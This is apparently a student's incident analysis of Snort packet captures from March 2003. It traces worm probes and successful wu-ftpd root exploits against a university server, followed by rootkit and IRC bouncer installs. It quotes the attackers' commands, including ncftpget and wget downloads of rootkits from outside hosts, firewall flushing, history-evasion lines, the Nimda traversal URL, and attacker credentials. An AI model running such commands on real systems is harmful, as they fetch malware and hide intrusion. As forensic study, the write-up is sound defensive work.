Gilberto Ramirez
Analyzing pcap from snort intrusion event

#### From snort.Mar03:

- 2003-03-03 09:54:46.554820 62.234.144.113 -> 129.115.30.30 TCP 4168 -> 80 Probing for open HTTP, however port was closed so no response
- 2003-03-03 13:12:52.345864 202.129.32.227 -> 129.115.30.30 TCP 37795 -> 443
  Another probe packet checking HTTPS port, no response
- 2003-03-03 23:16:50.718342 200.223.51.66 -> 129.115.30.30 TCP 3238 -> 21 FTP Successful guest login on as "anonymous" with password "sun@www.com"
- 2003-03-03 23:16:51.426186 200.223.51.66 -> 129.115.30.30 TCP 3238 -> 21

  FTP anonymous sends a "QUIT" command terminating connection. No Data transferred.

  Connection is terminated abruptly after with RST packet

#### From snort.Mar04:

- 2003-03-04 01:31:17.147557 211.181.212.10 -> 129.115.30.30 TCP 4260 -> 21
  Probing FTP server checking for vulnerable server
- 2003-03-04 01:31:20.358511 129.115.30.30 -> 211.181.212.10 FTP 21 -> 4260 FTP Dept responds with "(Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready." Attacker now aware Dept is running a vulnerable version of wu-ftpd.

CVE-2001-0550: Wu-ftpd 2.6.0/1 is vulneralbe to remote attackers and allows execution of commands vi a "~{" argument which is not properly handled by the glob function. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2001-0550

- 2003-03-04 01:31:24.857397 211.181.212.10 -> 129.115.30.30 FTP 4453 -> 21 FTP First attempt at exploitation begins, Attackers signs into ftp servers as "ftp" with password of "mozilla@"
- 2003-03-04 01:31:24.857397 211.181.212.10 -> 129.115.30.30 FTP 4453 -> 21 FTP RNFR ././

Exploit beings. Attacker is using 7350wurm - x86/linux wu\_ftpd remote root exploit found here: <a href="https://www.exploit-db.com/exploits/348">https://www.exploit-db.com/exploits/348</a>

Attacker sends RNFR commands to cause a memory leak in wu-ftpd Builds a fake malloc chunk which will then overwrite return with a malicious address. If the exploit succeeds, it sends commands "unset HISTFILE;id;uname -a" and then sends shell code. Exploit fails since the server does not reply with "sP" Attack seems to be automated as a few seconds after obtaining info on vulnerable wu-ftpd, exploit commences.

Also the attacker does not seem to try again after this initial exploit, which human

- attackers would probably do. So this leads me to believe this is automated.
- 2003-03-04 01:31:40.994250 211.181.212.10 -> 129.115.30.30 FTP 4453 -> 21 FTP CWD (payload)

  Exploit payload with x86 wrx payload sent here.
- 2003-03-04 01:31:44.290792 211.181.212.10 -> 129.115.30.30 FTP 4453 -> 21 FTP CWD ~{ request sent by attacker. At this point, exploit fails to succeed and the server tears down the connection.

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#### From snort.Mar05:

- 2003-03-05 03:13:03.390781 129.115.30.30 -> 203.239.54.93 FTP 21 -> 1312 FTP Attackers gain knowledge on vulnerable version of wu-ftpd running
- 2003-03-05 03:13:07.949859 203.239.54.93 -> 129.115.30.30 FTP 1312 -> 21 Successful login as "ftp" password "mozilla@" Failed x86/linux wu ftpd remote root exploit, see appendix
- 2003-03-05 03:13:31.915697 203.239.54.93 -> 129.115.30.30 FTP 1312 -> 21

  Last CWD request sent by attacker before exploit fails and dept tears down connection
- 2003-03-05 22:32:03.065335 66.48.23.4 -> 129.115.30.30 TCP 17300 -> 17300 Strange activity: Request to port 17300, this time from another ip. No attacks seem to have materialized from this probing.

#### From snort.Mar06:

- 2003-03-06 03:52:00.250202 129.115.30.30 -> 165.139.234.6 FTP 21 -> 57999 Probing: Attacker probe packet and finds out about vulnerable wu-ftpd
- 2003-03-06 04:40:20.623520 210.58.87.62 -> 129.115.30.30 TCP 3721 -> 23 TELNET probe port and sends RST packet right after. No data transferred.
- 2003-03-06 07:18:05.026396 129.115.30.30 -> 212.91.226.162 FTP 21 -> 2580 Probing: Finds vulnerable version of wu-ftpd
- 2003-03-06 07:18:24.877907 212.91.226.162 -> 129.115.30.30 FTP 4549 -> 21 Failed x86/linux wu ftpd remote root exploit see appendix
- 2003-03-06 09:59:54.805481 212.91.226.162 -> 129.115.30.30 TCP 2218 -> 21 2003-03-06 10:00:49.325152 212.91.226.162 -> 129.115.30.30 FTP 2218 -> 21 Failed x86/linux wu ftpd remote root exploit, see appendix
- 2003-03-06 16:39:15.284587 217.81.147.226 -> 129.115.30.30 HTTP 4462 -> 80

GET HTTP 1.0 request from client. However not an ordinary get request since it has corrupted headers.. Dept replies with test page for Apache Web server and tears down connection.

#### From snort.Mar07:

- 2003-03-07 01:19:52.468579 129.115.30.30 -> 67.118.74.221 FTP 21 -> 2543 Probing: Attacker aware of vulnerable wu-ftpd
- 2003-03-07 03:20:12.036588 129.115.30.30 -> 211.219.56.234 FTP 21 -> 53290 Probing: Another attacker aware of vulnerable wu-ftpd
- 2003-03-07 03:20:19.274515 211.219.56.234 -> 129.115.30.30 FTP 53834 -> 21 Failed x86/linux wu\_ftpd remote root exploit, see appendix
- 2003-03-07 04:52:42.545372 129.115.30.30 -> 80.116.221.212 FTP 21 -> 3016 Probing: Another attacker aware of vulnerable wu-ftpd
- 2003-03-07 15:54:13.437703 66.169.176.123 -> 129.115.30.30 TCP 2190 -> 80 HTTP GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir Attempted Nimda exploit targeting Windows machines running ISS 4.0/5.0: IIS 4.0 and 5.0 allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain UNICODE encoded characters, aka the "Web Server Folder Traversal" vulnerability. Exploit failed (dept responds 404 page) since only Windows machines are vulnerable, and the fact the dept machine was targeted, tells me this is an automated attack.

See: <a href="https://www.securityfocus.com/news/253">https://www.securityfocus.com/news/253</a>

See: https://nvd.nist.gov/vuln/detail/CVE-2000-0884

#### From snort.Mar08:

## 2003-03-08 01:50:54.732339 202.64.200.68 ->129.115.30.30 TCP 22 -> 22

Strange behavior: Attempted SSH connection from SSH port, however connection not accepted

#### 2003-03-08 08:43:27.978300 4.33.67.50 -> 129.115.30.30 TCP 3059 -> 80

GET /default.ida?NNNNn... Received malformed packet with strange data.

HOST: www.worm.com

Code Red Worm attempted to take advantage of buffer overflow vulnerability in Microsoft Index Server 2.0 and Indexing service in Windows 2000.

CVE-2001-0500: Buffer overflow in ISAPI extension (idq.dll) in Index Server 2.0 and Indexing Service 2000 in IIS 6.0 beta and earlier allows remote attackers to execute arbitrary commands via a long argument to Internet Data Administration (.ida) and Internet Data Query (.idq) files such as default.ida, as commonly exploited by CodeRed.

Exploit failed since we are not running Microsoft Index Server. Dept responds with bad request 400.

See: https://nvd.nist.gov/vuln/detail/CVE-2001-0500

See: <a href="https://www.caida.org/archive/code-red/">https://www.caida.org/archive/code-red/</a>

See: <a href="https://docs.microsoft.com/en-us/security-updates/securitybulletins/2001/ms01-033">https://docs.microsoft.com/en-us/security-updates/securitybulletins/2001/ms01-033</a>

## 2003-03-08 08:43:27.979363 129.115.30.30 4.33.67.50 HTTP 80 -> 3059

HTTP/1.1 400 Bad Request: Server responds with bad request and is not affected by code red.

#### 2003-03-08 08:43:28.149599 4.33.67.50 -> 129.115.30.30 HTTP/XML 3059 -> 80

GET /default.ida?NN... This time received a proper http GET message with code red payload.

However right after RST packet is received and connection is terminated since dept is not vulnerable. This is clearly automated since it is a worm, an exploited machine most likely sent us these messages.

## 2003-03-08 18:38:52.499281 203.204.87.253 ->129.115.30.30 TCP 2628 -> 80 Failed Code Red exploit, see appendix

## 2003-03-08 21:32:35.073777 196.3.167.46 -> 129.115.30.30 FTP 1161 -> 21

FTP unsuccessful attempt to login as "anonymous@ftp.microsoft.com" pass "abc@126.com"

This does not seem to be an exploit just yet, perhaps someone is probing dept ftp server. Also, it is strange they knew about UTSA's abc123 username style, telling me this is perhaps a human attempting to break in, unlike the other cases before.

#### From snort.Mar09:

2003-03-09 01:31:01.317148 ->218.72.13.40 -> 129.115.30.30 TCP 3243 -> 80 Failed COde Red exploit, see appendix

## 2003-03-09 05:48:02.294159 196.3.167.46 -> 129.115.30.30 FTP 1997 -> 21

FTP Successful logon as "anonymous" pass "Dgpuser@home.com" It looks like this is the same user from Mar08 who attempted to login as "anonymous@ftp.microsoft.com" Once logged in, many commands are sent such as 'CWD /public/' 'MKD 030309125143p' 'CWD /anonymous/public/'. It is clearly automated as requests are being received every few ms. There does not seem to be much info on this online, but I read on a forum this is an automated scanning tool looking for writable directories in an ftp server. If it finds such a directory it would then commence an upload, but it failed in this case since user doesn't have necessary permissions

See: https://seclists.org/incidents/2001/Aug/417

## 2003-03-09 09:41:24.614734 61.172.80.156 -> 129.115.30.30 TCP 3776 -> 80

Failed Code Red exploit, see appendix

- 2003-03-09 10:07:07.964966 12.101.49.170 -> 129.115.30.30 FTP 4094 -> 21
  - FTP Successful login as "anonymous" pass "Wgpuser@home.com" Another automated attempt to search for writable directories as detailed previously. See: https://seclists.org/incidents/2001/Aug/417
- 2003-03-09 13:36:27.831470 218.149.161.84 -> 129.115.30.30 TCP 3401 -> 80 Failed Code Red Exploit, see appendix
- 2003-03-09 22:52:10.735108 62.59.37.17 -> 129.115.30.30 TCP 64662 -> 80 Failed Code Red Exploit, see appendix

#### From snort.Mar10:

- 2003-03-10 02:04:39.800301 209.74.134.200 -> 129.115.30.30 TCP 3357 -> 21 Probing FTP server, now aware of vulnerable wu-ftpd
- 2003-03-10 17:32:16.845524 144.135.45.212 -> 129.115.30.30 TCP 1233 -> 80 Failed Code Red Exploit, see appendix

#### From snort.Mar11:

- 2003-03-11 03:19:32.120061 211.22.66.51 -> 129.115.30.30 TCP 4549 -> 80 Failed Code Red Exploit, see appendix
- 2003-03-11 06:06:15.007526 218.252.181.102 -> 129.115.30.30 TCP 2736 -> 80 Failed Code Red Exploit, see appendix

## Below first successful exploit using 7350wurm - x86/linux wu\_ftpd remote root exploit

2003-03-11 18:05:00.462553 211.219.56.234 -> 129.115.30.30 TCP 56096 -> 21 2003-03-11 18:05:00.462797 129.115.30.30 -> 211.219.56.234 TCP 21 -> 56096 2003-03-11 18:05:00.683716 211.219.56.234 129.115.30.30 TCP 56096 -> 21 TCP Three-way handshake for first successful exploit!

## 2003-03-11 18:05:28.271749 211.219.56.234 -> 129.115.30.30 FTP 56177 -> 21

New TCP Stream is opened on attacker port 56177. It is the same ordeal as before with this attack, user signs in as "ftp" pass "mozilla@" and begins to send a series FTP RNFR commands as per x86/linux wu\_ftpd remote root exploit. However this time it succeeds in executing commands "unset HISTFILE;id;uname -a". This is the same attacker from Mar07, however the same exploit is used.

I checked the payload and it seems to be the same, the only difference now there are 2 different tcp connections involved in exploitation. Dept responds with id info and machine info. Attacker should have a shell, but they seem to be unaware for now since this is most likely an automated attack

TCP Three-way handshake for 2nd successful exploit by another attacker using the same technique as described above.

### 2003-03-11 21:09:57.133750 61.139.76.104 -> 129.115.30.30 FTP 54017 -> 21

Same exploit as described above x86/linux wu\_ftpd remote root exploit. Same commands were executed "unset HISTFILE;id;uname -a". Both of these exploits seem to be automated as well since they were using default commands in the exploit code, see appendix

TCP Three-way handshake for 3rd successful exploit by another attacker.

#### 

Same x86/linux wu\_ftpd remote root exploit, however new commands were given. Commands executed:

"ncftpget -u xlogicus -p dupa16ani 206.253.222.88 . 'xlogic.tgz;tar zxvf xlogic.tgz;cd xl;./install;"

xlogic seems to be rootkit, but there is no information online about it.

## 2003-03-11 23:59:21.141362 129.115.30.30 -> 206.253.222.88 TCP 1043 -> 21

Dept makes outgoing TCP connection to ftp server for xlogicus, but TCP handshake does not succeed

## From snort.Mar12:

#### 2003-03-12 01:14:39.073492 211.219.56.234 -> 129.115.30.30 FTP 56177 -> 21

TCP Stream from 1st successful exploit from Mar11, since they are using the same TCP ports/ip. Begin executing commands/installing rootkit, and killing previous attackers processes

#### **Commands exec:**

cd /etc/nmh/ ls mkdir ... cd ... /sbin/ipchains -F /sbin/iptables -F ftp -v 65.113.119.133 tar -xxzvf rkt.mp3 cd .rkt/ ./install passwd adm plaka

FTP site: 65.113.119.133 //likely personal ftp server Credentials: USER: plaka100 PASS:O4E2u69N

#### FTP commands:

hash

pass

deb

bin

pass

deb

]bin

bin

get rkt.mp3

get adore-0.52.tgz

## Rootkit "rkt.mp3" installed in directory "/etc/nmh/.../.rkt" Contents:

.rkt/

.rkt/install

.rkt/ssh host key

.rkt/ssh host key.pub

.rkt/sshd config

.rkt/ssh random seed

.rkt/curatare/

.rkt/curatare/ps

.rkt/curatare/pstree

.rkt/curatare/chattr

...and more

# 2003-03-12 01:15:31.758101 65.113.119.133 129.115.30.30 FTP 1044 -> 21 FTP stream opened executing commands given in the prior stream noted just above.

2003-03-12 01:15:31.694685 65.113.119.133 -> 129.115.30.30 TCP 4574 -> 113 TCP stream relaying ports in prev ftp stream "1044,21"

2003-03-12 01:16:37.160735 65.113.119.133 -> 129.115.30.30 TCP 20 -> 1045 TCP Stream transferring all "rtk.mp3" data from attacker ftp server

2003-03-12 01:16:47.562015 65.113.119.133 -> 129.115.30.30 TCP 20 -> 1046 TCP Stream transferring all "adore-0.52.tgz" data from attacker ftp server

## 2003-03-12 01:17:20.366875 64.156.215.6 -> 129.115.30.30 SMPT 25 -> 1047

SMTP from **root@dept.cs.utsa.edu** to **rootez\_2002@yahoo.com**During last phase of rkt.mp3 installation, process sends email to with information on machine such as ip addr, disk info, ping stats to rootez\_2002@yahoo.com

## 2003-03-12 01:17:44.500481 81.18.70.116 $\Rightarrow$ 129.115.30.30 TCP 62527 $\rightarrow$ 173

TCP Encrypted SSH communications, only readable info is "SSH-1.5-PuTTY-Release-0.52"

#### 2003-03-12 01:19:45.812664 81.18.70.116 -> 129.115.30.30 TCP 62531 -> 23

TELNET Login into Dept using USER: adm PASS: plaka Issues command "kill -9 0"

## 2003-03-12 01:23:33.487399 63.216.210.130 -> 129.115.30.30 TCP 2269 -> 80

Failed Nimda exploit, see Appendix

## 2003-03-12 07:20:07.069470 154.5.18.66 -> 129.115.30.30 FTP 1748 -> 21

Stream of 3rd successful exploit now begins executing commands in dept. Looks like a human is running these commands now as they were able to kill other attackers processes by pid

#### **Commands exec:**

id

ftp ftp.geocities.com

tar zxvf smk.tgz

cd smk

./install

cd ..

W

ls -a

/sbin/pidof sshd

/sbin/pidof identd

socklist

/sbin/ipchains -I input -j ACCEPT -s 0/0 -d 0/0 -p tcp --destination-port 20202

hostnaem -i

hostname -i

cd /usr/bin/".. "/

wget www.geocities.com/beaststeam/psybnc.tgz

ls -a

tar zxvf psybnc.tgz

rm -rf psybnc.tgz

mv psybnc xbnc

cd xbnc

mv psybne xbne

/xbnc

/usr/sbin/lsof|grep TCP

ps ax

kill -9 1190 1190 1418 1418

ps ax

/usr/sbin/lsof|grep TCP

ls -a

cd ..

W

cat /etc/passwd

ping 129.115.30.30 -s 1986

FTP site: ftp.geocities.com

Credentials: USER "beaststeam" PASS "madroghez1u"

## **FTP Commands**:

hash

get smk.tgz

bye

## **SMK Rootkit contains:**

smk/

smk/lg

smk/install

smk/mail

smk/write

smk/v

smk/wroot

smk/wscan

smk/wu

smk/read

smk/.d

smk/move

smk/remove

... and more

# Psybnc IRC bouncer installed in "/usr/bin/".. "/xbnc" Contains:

psybnc/

psybnc/help/

psybnc/help/ADDLOG.TXT

psybnc/help/DELLOG.TXT

psybnc/help/LISTLOGS.TXT

psybnc/help/PLAYTRAFFICLOG.TXT

psybnc/help/PROXY.TXT

psybnc/help/SETLEAVEMSG.TXT

psybnc/help/SETAWAYNICK.TXT

psybnc/help/ADDAUTOOP.TXT psybnc/help/DELAUTOOP.TXT psybnc/help/LISTAUTOOPS.TXT psybnc/help/SRELOAD.TXT psybnc/help/ADDALLOW.TXT psybnc/help/ADDASK.TXT psybnc/help/ADDBAN.TXT psybnc/help/ADDBCC.TXT psybnc/help/ADDNETWORK.TXT ... and more

- 2003-03-12 07:20:30.935703 154.5.18.66 -> 129.115.30.30 TCP 1749 -> 21 FTP Attacker is connecting to wu-ftpd again, checking to see if wu-ftpd patch was successful
- 2003-03-12 07:20:30.839656 129.115.30.30 -> 154.5.18.66 FTP 21 -> 2080
  "ftp" is a user now in dept server as dept responds with incorrect credentials, default settings using x86/linux wu ftpd remote root exploit will not work anymore
- 2003-03-12 07:21:47.340877 66.218.77.42 -> 129.115.30.30 FTP 21 -> 1048 FTP stream executing ftp commands previously noted above
- 2003-03-12 07:21:48.007570 66.218.77.42 -> 129.115.30.30 TCP 20 -> 1049 FTP stream transferring smk.tgz
- 2003-03-12 07:22:22.233257 129.115.30.30 -> 216.168.230.137 SMTP 1050 -> 25 SMTP From root@dept.cs.utsa.edu to some@cacanar.com

  Message contains info dept info such as disk info, ping stats, routing table
- 2003-03-12 07:26:06.219671 129.115.30.30 -> 66.218.77.70 HTTP 1051 -> 80 HTTP GET, wget tcp stream opened by attacker downloading psybnc.tgz from geocities.com:80
- 2003-03-12 07:26:53.156121 213.233.72.174 -> 129.115.30.30 TCP 1100 -> 40401 TCP stream for PSYBNC IRC data

Credentials: NICK "smoker" USER "smoke" pass "mlihifi"

Attacker adds these IRC servers:

addserver diemen.nl.eu.undernet.org:6667

addserver Elsene.Be.Eu.undernet.org:6667

addserver Flanders.Be.Eu.Undernet.org:6667

addserver geneva.ch.eu.undernet.org:6667

addserver Moscow.RU.EU.Undernet.org:6667

addserver Oslo.NO.EU.Undernet.org:6667

addserver Atlanta.GA.US.Undernet.org:6667

addserver mesa.az.us.undernet.org:6667

addserver washington.dc.us.undernet.org:6667

#### 2003-03-12 07:37:58.081838 195.121.6.196 -> 129.115.30.30 IRC 6667 -> 1052

IRC PRV MSG "da", "e al meu", "iauite ba sa 'mi bag pula",

**Attacker seems to be Romanian based on IRC packets**. I translated and it means: "Yes It's mine" They also seemed to be running a scam, as there was some information relayed about transferring 2.5 million dollars to an account.

#### 2003-03-12 07:27:13.082797 129.115.30.30 -> 195.121.6.196 TCP 113 -> 41136

TCP stream transferring port numbers "1052,6667" of previous IRC stream

### 2003-03-12 07:27:25.084894 129.115.30.30 -> 193.109.122.5 TELNET 23 -> 2029

TELNET connection however no data transferred

## 2003-03-12 07:28:36.164263 193.109.122.5 -> 129.115.30.30 HTTP 4707 -> 80

HTTP Connect vulnerability

Upon receiving a CONNECT request, vulnerable products act as a TCP proxy, tunneling the conversation. This can be used to launch attacks against internal machines or to, for example, use an internal mail server as an open relay. The attack failed since there was no supported evidence that attackers were made from this connection.

See: https://www.securityfocus.com/bid/4131/discuss

## 2003-03-12 07:30:07.588395 80.14.147.241 -> 129.115.30.30 FTP 4686 -> 21

Received an HTTP get request to ftp port however connection terminated right after with RST packet

## 2003-03-12 08:17:58.398879 61.255.15.124 -> 129.115.30.30 TCP 1117 -> 21

2003-03-12 08:18:06.462833 61.255.15.124 -> 129.115.30.30 FTP 1278 -> 21

Failed x86/linux wu ftpd remote root exploit, see appendix

## **Appendix:**

x86/linux wu ftpd remote root exploit: CVE-2001-0550

Attacker sends series of FTP RNFR commands to cause a memory leak in wu-ftpd Builds a fake malloc chunk which will then overwrite return with a malicious address. If exploit succeeds, it sends "commands "cwd ~{ unset HISTFILE;id;uname -a" and then sends shell code

Exploit fails since the server does not reply with "sP"

http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2001-0550

https://www.exploit-db.com/exploits/348

Nimda Worm: CVE-2000-0884

HTTP GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir

Attempted exploit targeting Windows machines running ISS 4.0/5.0:

IIS 4.0 and 5.0 allows remote attackers to read documents outside of the web root, and possibly execute

arbitrary commands, via malformed URLs that contain UNICODE encoded characters, aka the "Web Server Folder

Traversal" vulnerability.

After browsing online, this seems to be known as the Nimda worm. A self-executing virus attacking

Microsoft IIS. Exploit failed (dept responds 404 page) since only Windows machines are vulnerable, and

the fact the dept machine was targeted, tells me this is an automated attack.

https://www.securityfocus.com/news/253

https://nvd.nist.gov/vuln/detail/CVE-2000-0884

### Code Red Worm: CVE-2001-0500

GET /default.ida?NNNNn... Received malformed packet with strange data.

Code Red Worm attempted exploit attempts to take advantage of buff ovf vulnerability in Microsoft Index Server 2.0 and Indexing service in Windows 2000.

Buffer overflow in ISAPI extension (idq.dll) in Index Server 2.0 and Indexing Service 2000 in IIS 6.0 beta

and earlier allows remote attackers to execute arbitrary commands via a long argument to Internet Data

Administration (.ida) and Internet Data Query (.idq) files such as default.ida, as commonly exploited by CodeRed.

Exploit failed of course since exploit not intended for unix machines, dept responds with bad request 400.

https://nvd.nist.gov/vuln/detail/CVE-2001-0500

https://www.caida.org/archive/code-red/

https://docs.microsoft.com/en-us/security-updates/securitybulletins/2001/ms01-033